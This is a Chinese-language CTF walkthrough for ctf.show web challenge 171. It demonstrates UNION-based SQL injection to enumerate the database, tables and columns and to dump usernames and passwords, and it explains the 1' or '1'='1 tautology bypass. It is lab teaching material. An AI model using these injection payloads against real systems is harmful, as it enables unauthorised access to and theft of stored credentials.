ctf show web 入门171
这是一道sql注入题所以我们首先判断闭合方式
我们先输入
1'
如果页面报错,说明单引号极有可能是闭合字符,因为单引号和前面的单引号配对了,导致后面多出了一个孤立的单引号,破坏了结构
当找到某个字符让页面报错后,在这个字符后面加上注释符。如果页面恢复正常,说明成功找到了正确的闭合方式
然后开始确定字段数这里我们可以由图猜测有三个,也可以进行验证
1' order by 3 --+
1' order by 4--+
然后进行union注入
1' union select 1,2,3--+
先查数据库名
-1' union select 1,database(),3--+
再查表名
-1' union select 1,table_name,3 from information_schema.tables where table_schema=database()--+
再查字段名
-1' union select 1,column_name,3 from information_schema.columns where table_name='ctfshow_user'--+
最后一步查找flag
-1' union select 1,username,password from ctfshow_user--+
本题还有一种简单的方法
用万能密码:1' or '1'='1
因为输入万能密码后sql语句变成了
select username,password from user where username !='flag' and id = '1' or '1'='1' limit 1;
输入的第一个单引号',提早闭合了原本包裹id值的那个单引号。这就让原本属于“数据”的or '1,变成了“SQL 执行代码”。
在 MySQL 数据库中,逻辑运算符的优先级是:and 优先级高于 or。
因此,数据库在解析这一行复杂的where条件时,会自动给它加上括号,分成前后两部分:
前半部分 (A):
(username !='flag' and id = '1')数据库去查,发现 ID 为 1 的用户名字不叫 flag。所以对第一条记录来说,前半部分是真 (True)。
但到了第 26 条记录(flag 所在的那一条),因为它的名字叫 flag,所以前半部分就变成了假 (False)。
后半部分 (B):
('1')在 SQL 中,非零数字或纯数字字符串
'1'会被当做布尔值处理,结果永远是真(True)。
根据逻辑代数规则,False OR True最终的结果必定是True(恒真)。
3. 绕过限制
因为整句where条件变成了“恒真”(相当于where 1),原本用来限制username != 'flag'的 AND 条件直接被 OR 顶掉了,当场失效!
数据库此时不再看任何条件,直接把user表里的所有数据全部吐了出来,这就包括了那条原本被隐藏的、包含 Flag 的记录。
但是当直接输入26时username !='flag' and id = '26'的前半部分为false
false and true还是false
